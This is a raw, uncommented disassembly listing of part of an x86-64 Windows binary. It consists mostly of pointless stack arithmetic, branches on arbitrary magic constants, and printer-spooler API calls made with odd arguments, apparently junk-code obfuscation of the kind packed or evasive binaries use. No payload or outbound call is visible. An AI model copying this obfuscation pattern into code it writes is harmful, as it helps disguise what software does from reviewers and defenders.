mov qword [rcx], rax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e8]
shl eax, cl
mov word [rsp + 0x7e0], ax
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, word [rsp + 0x7dc]
movsx ecx, word [rsp + 0x644]
add eax, ecx
mov word [rsp + 0x7d8], ax
mov rax, qword [rsp + 0x3908]
mov rcx, qword [rsp + 0x3888]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3818], rax
mov eax, dword [rsp + 0x1d38]
mov ecx, dword [rsp + 0x1dd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x3870]
mov rcx, qword [rsp + 0x3958]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov byte [rsp + 0xdb], al
movsx eax, byte [0x1400fd001]
movsx ecx, byte [rsp + 0x68]
and eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
xor eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
sar eax, cl
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3858]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x38d8]
mov qword [rsp + 0x3970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3970]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d48], eax
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
sub eax, ecx
mov word [rsp + 0x7e8], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7dc], ax
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3850]
mov ecx, dword [rsp + 0x1dd4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
cmp dword [rsp + 0x1da4], 0x85d0
jb 0x1400050ef
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x740], ax
cmp dword [rsp + 0x1dd8], 0x117d8
jae 0x140005bf8
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
xor eax, ecx
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7d4], ax
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d64]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x3870]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd001]
add eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
add eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xdc]
sar eax, cl
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3870]
movzx ecx, al
mov rax, qword [0x1400fdf40]
shl rax, cl
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38d8]
mov ecx, dword [rsp + 0x1d2c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x37f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fdf40], rax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov byte [rsp + 0x68], al
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [0x1400fd001]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38f0]
mov rcx, qword [rsp + 0x3858]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1d28], eax
mov eax, dword [rsp + 0x1dd8]
add eax, 0x9b
mov dword [rsp + 0x1dd8], eax
mov rax, qword [rsp + 0x3870]
mov rcx, qword [rsp + 0x37f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d48]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x7d4], ax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov byte [0x1400fd001], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
sar eax, cl
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
and eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
sub eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
mov rax, qword [rsp + 0x3818]
mov rcx, qword [rsp + 0x37d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3908], rax
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x38d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d2c], eax
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [0x1400fdf40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x38d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e4]
sub eax, ecx
mov word [rsp + 0x7e8], ax
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, word [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3850]
mov qword [rsp + 0x3978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3978]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38f0]
mov rcx, qword [rsp + 0x3858]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e8]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
jmp 0x14000562e
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7d8], ax
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x3980], rax
mov rax, qword [rsp + 0x3818]
imul rax, qword [rsp + 0x3908]
mov rcx, qword [rsp + 0x37d8]
mov rdx, qword [rsp + 0x3888]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1400e326a
lea rax, [rsp + 0x1d64]
mov qword [rsp + 0x3988], rax
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov dword [rsp + 0x1df8], eax
cmp dword [rsp + 0x1df8], 0x776f
je 0x140005c89
jmp 0x1400e318c
movsx eax, word [rsp + 0x7dc]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x644]
add ecx, edx
cmp eax, ecx
jge 0x140005d3d
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7d4]
add eax, ecx
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1dd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d28], eax
lea rax, [rsp + 0x16160]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3940]
mov qword [rsp + 0x20], rax
mov r9d, 0xa2
lea r8, [rsp + 0x3808]
mov edx, ILAppendID
mov rcx, qword [rsp + 0x3990]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x1d7c], eax
jmp 0x140005e94
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3980]
mov rdx, qword [rsp + 0x38b8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x140005e94
movzx r9d, word [rsp + 0x7e0]
mov rax, qword [rsp + 0x3880]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x38e8]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x68]
call fcn.1400e4f60
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d28]
mov dword [rsp + 0x1dfc], eax
cmp dword [rsp + 0x1dfc], 0xa51f05f
je 0x140005df0
cmp dword [rsp + 0x1dfc], 0x5b191eb5
je 0x140005e61
jmp 0x140005e94
lea rax, [rsp + 0x3858]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ILAppendID
lea rax, [rsp + 0xda]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3990]
mov r8, qword [rsp + 0x3998]
mov rdx, qword [rsp + 0x39a0]
mov rcx, qword [rsp + 0x39a8]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
jmp 0x140005e94
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3988]
mov qword [rsp + 0x39b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x39b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x1e00], al
cmp byte [rsp + 0x1e00], 0
je 0x140005eb2
jmp 0x140005f54
mov rax, qword [rsp + 0x3810]
movzx eax, byte [rax]
mov byte [rsp + 0x1e04], al
cmp byte [rsp + 0x1e04], 0x39
je 0x140005ed0
jmp 0x140005f15
mov r9d, reloc.SHELL32.dll_ILFindChild
lea r8, [rsp + 0x39b8]
mov edx, 0x87
mov rcx, qword [rsp + 0x39a8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x1d84], eax
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdb]
sar eax, cl
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
jmp 0x140005f4f
movzx eax, byte [rsp + 0xda]
mov byte [rsp + 0xdd], al
mov dword [rsp + 0x1e08], 0x207
lea rax, [rsp + 0x7dc]
mov qword [rsp + 0x39c0], rax
lea rax, [rsp + 0x7e4]
mov qword [rsp + 0x39c8], rax
jmp 0x1400060e7
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xdd]
add ecx, edx
cmp eax, ecx
jle 0x140006092
movsx eax, byte [0x1400fd001]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xda], al
mov dword [rsp + 0x20], 0xc5
lea r9, [rsp + 0x7d4]
mov r8d, 4
mov rdx, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x39d0]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0c], al
cmp byte [rsp + 0x1e0c], 0x30
je 0x140005ff1
jmp 0x140006013
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x38d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3850]
mov dword [rcx], eax
jmp 0x140006090
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1d48], eax
lea rax, [rsp + 0x7e4]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], ILCreateFromPathW
lea rax, [rsp + 0x3818]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3918]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x39d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xcd
mov r8, qword [rsp + 0x3998]
mov edx, 0x36
mov rcx, qword [rsp + 0x3990]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x1d4c], eax
jmp 0x1400060e7
mov rax, qword [rsp + 0x3888]
mov rcx, qword [rsp + 0x3908]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3818]
mov rdx, qword [rsp + 0x37d8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x1400060e7
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3980]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x39c8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x140006207
mov rax, qword [rsp + 0x3888]
mov qword [rsp + 0x39d8], rax
movabs rax, 0x908caf637ce67aa9
cmp qword [rsp + 0x39d8], rax
je 0x140006142
jmp 0x1400061b3
mov eax, dword [rsp + 0x1dd4]
mov dword [rsp + 0x1e10], eax
cmp dword [rsp + 0x1e10], 0x4580df17
je 0x14000615f
jmp 0x1400061b1
movzx eax, byte [0x1400fd001]
mov byte [rsp + 0x1e14], al
cmp byte [rsp + 0x1e14], 0x69
je 0x140006179
jmp 0x140006194
movzx edx, word [rsp + 0x7e4]
mov rax, qword [rsp + 0x39c8]
movzx ecx, word [rax]
call fcn.1400e4b00
nop
jmp 0x1400061b1
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3870]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fdf40], rax
jmp 0x1400061f0
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov edx, reloc.SHELL32.dll_ILIsParent
mov rcx, qword [rsp + 0x39e0]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x39e8], rax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
mov byte [rsp + 0xde], al
jmp 0x1400062a2
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov rdx, qword [rsp + 0x3988]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x1400062a2
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
shl eax, cl
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1d38]
mov dword [rsp + 0x1dd4], eax
lea rax, [rsp + 0x37f0]
mov qword [rsp + 0x39f0], rax
cmp dword [rsp + 0x1dbc], 0x10918
je 0x140006672
mov rax, qword [rsp + 0x3888]
mov rcx, qword [rsp + 0x37d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3818], rax
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
movsx eax, word [rsp + 0x644]
movsx ecx, word [rsp + 0x740]
and eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x7e0]
movzx ecx, word [rsp + 0x7e8]
sub eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
sub eax, ecx
mov word [rsp + 0x644], ax
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d48], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3870]
shr rax, cl
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fdf40], rax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
shl eax, cl
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov byte [rsp + 0xdc], al
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdd], al
mov eax, dword [rsp + 0x1dbc]
add eax, 0x49
mov dword [rsp + 0x1dbc], eax
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e4]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
sub eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
add eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d64], eax
mov rax, qword [0x1400fdf40]
mov rcx, qword [rsp + 0x3958]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3980]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1dd4]
mov ecx, dword [rsp + 0x1d28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov byte [rsp + 0xdc], al
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7e0], ax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0x68]
sar eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
xor eax, ecx
mov word [rsp + 0x740], ax
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
mov rax, qword [rsp + 0x37d8]
mov rcx, qword [rsp + 0x3908]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3888], rax
mov eax, dword [rsp + 0x1d48]
mov dword [rsp + 0x1d4c], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x38d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov byte [0x1400fd001], al
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdb]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
jmp 0x1400062b2
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov rdx, qword [rsp + 0x3870]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jbe 0x1400067c4
mov r8, qword [rsp + 0x39a0]
mov rdx, qword [rsp + 0x39f8]
mov rcx, qword [rsp + 0x37e8]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x1d24], eax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
